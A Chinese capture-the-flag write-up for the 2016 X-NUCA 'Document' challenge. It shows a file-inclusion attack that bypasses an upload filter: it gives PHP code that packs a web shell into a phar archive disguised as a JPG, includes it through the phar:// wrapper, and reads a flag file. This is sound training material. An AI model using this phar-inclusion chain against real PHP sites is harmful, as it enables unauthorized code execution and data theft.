X-NUCA联赛--Document的解题思路

发表于:2016-08-23 08:40:00 来源:  合天网安实验室 阅读数(0人)

打开主页,显示空白,查看源码


访问include.php


提示参数是file,猜测可以包含文件,直接访问http://218.76.35.74:20129/include.php?file=index,没有变化,再试试http://218.76.35.74:20129/include.php?file=index.php


同样没有变化,查看源码,发现upload.php


访问upload.php。测试上传文件,发现只允许上传图片。


访问upload.php。测试上传文件,发现只允许上传图片。


得到源码,解码后阅读代码

访问upload.php。测试上传文件,发现只允许上传图片。


然后得到upload.php源码。过滤了http、data、ftp、input,可以尝试用phar协议,首先在本地创建一个phar文件,以下是一份创建phar文件的代码。本地创建一个test.php,内容如下:

				   		<?php
try{
    $p = new Phar(dirname(__FILE__) . "test.phar", 0, 'test.phar');
} catch (UnexpectedValueException $e) {
    echo $e;
    die('Could not open my.phar');
} catch (BadMethodCallException $e) {
    echo 'technically, this cannot happen';
}
$p->startBuffering();
$p['1.php'] = file_get_contents('shell.php');
$p->setStub("<?php
    Phar::mapPhar('myphar.phar');
__HALT_COMPILER();");
$p->stopBuffering();
?>
				   	

然后在本地创建一个shell.php,里面写你想要的代码,我的内容如下:


然后在本地访问test.php,生成phar文件,然后上传上去。


然后访问

http://218.76.35.74:20129/include.php?

file=phar://upload/swe56789olpoiuytrertyuio.jpg/1,传参过去。


在/etc/.sshkey/目录下找到flag.txt,然后执行命令:cat /etc/.sshkey/flag.txt


得到flag为:7F5A58DFC54CFAC9903FE85D92703787

相关新闻

大家都在学

课程详情

Serial算法分析

课程详情

去除程序弹窗

课程详情

Serial/Name算法分析